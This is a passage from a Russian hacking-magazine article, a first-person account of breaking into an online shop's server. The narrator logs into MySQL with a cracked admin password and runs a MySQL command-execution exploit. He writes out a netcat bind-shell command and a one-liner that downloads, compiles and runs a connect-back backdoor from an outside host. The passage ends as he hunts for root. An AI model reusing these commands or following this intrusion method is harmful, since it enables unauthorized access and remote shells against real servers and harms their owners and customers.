Масштабная покупка

Master-lame-master

Хакер, номер #080, стр. 080-044-3

Что касается апача, то он был пуленепробиваем. Стоял последний релиз из ветки 1.3 безо всяких модулей кроме mod_php. Коннект на порт 3306 показал, что на серваке запущен mySQL, но свою версию демон никак не хотел выдавать. Не знаю почему, но я захотел приконнектится к базе виндовым клиентом под недавно сбрученным аккаунтом. И не ошибся: сервак успешно авторизовал меня под пользователем admin и паролем 12.1982. Уже из клиента WinMysql мне удалось точно определить релиз сервиса и просмотреть все таблицы. Собственно, БД кроме mysql, test и mag_forum там ничего не было, но сам факт, что пароль к сервису подошел, наводил на мысли.

И тут я вспомнил про еще один замечательный эксплойт. Он позволял выполнять любые команды с правами пользователя mysqld. Однако сам я эксплойт не тестировал, но мой виртуальный корефан изучил код с головы до ног, менял с закрытыми глазами шеллкоды под различные OS и реально умел получать шеллы. Я обратился к нему за помощью, чтобы видоизменить сырец под систему RedHat 9.0. Вообще, нужно было закодировать библиотеку libso.so.0, так как ее код уникален для каждой оси. Товарищ с радостью выручил меня, хотя сначала кинул ссылку на мануал, но в ответ получил мессагу, что я плохо знаю английский :).

Итак, поменяв в коде две переменные user и pass, я запустил эксплойт и увидел строчку «Now use your fav shell and ls /tmp/id –l». Можно было понять, что сплойт пашет и реально выполняет код в системе. Теперь мне нужно было сформировать удаленную команду для запуска шелла. Закомментированный запрос '/usr/sbin/nc -l -p 8000 -e /bin/bash' вполне удовлетворял мои потребности, но я не был уверен, существует ли в системе netcat. Впрочем, по умолчанию на красную шапку он устанавливается, поэтому я раскомментировал эту строчку и заново запустил вредоносный код. Он снова выполнился без проблем, но достучаться до 8000 порта я не мог – мешал файрвол. Пришлось искать в инете код connback-бэкдора, заливать его на шелл и запускать. Все эти действия я реализовал в одной команде:

$cmd=’wget host31337.narod.ru/cb.c –O /tmp/cb.c; gcc /tmp/cb.c –o /tmp/cb; /tmp/cb 11.11.11.11’

Здесь 11.11.11.11 – айпишник моего взломанного шелла. На этой машине я запустил неткат на слушал 5544 порт. После запуска сплойта появилось приветствие и пожелание удачи в нелегком бою :). Таким образом, я стал обладателем шелла на серваке виртуального магазина.

[борьба за root-права]

С первого взгляда я понял, что имею дело с реальным выделенным сервером на крупной площадке одного известного хостера. Что касается зашиты, то здесь все было на уровне – я даже не мог посмотреть контент сайта – сплошной permission denied :). Но я не отчаивался и продолжал искать лазейку. Мои права были равны полномочиям пользователя mysqld – именно под ним был запущен демон. О взломе ядра можно было забыть сразу – кернел в девятой шляпе изначально не бьется никакими эксплойтами. Из сервисов были запущены лишь exim, mysqld и httpd. Я уже было хотел сложить оружие и ограничиться тем, что и так добился максимума, но вспомнил про то, что у меня имелся доступ к mysqld.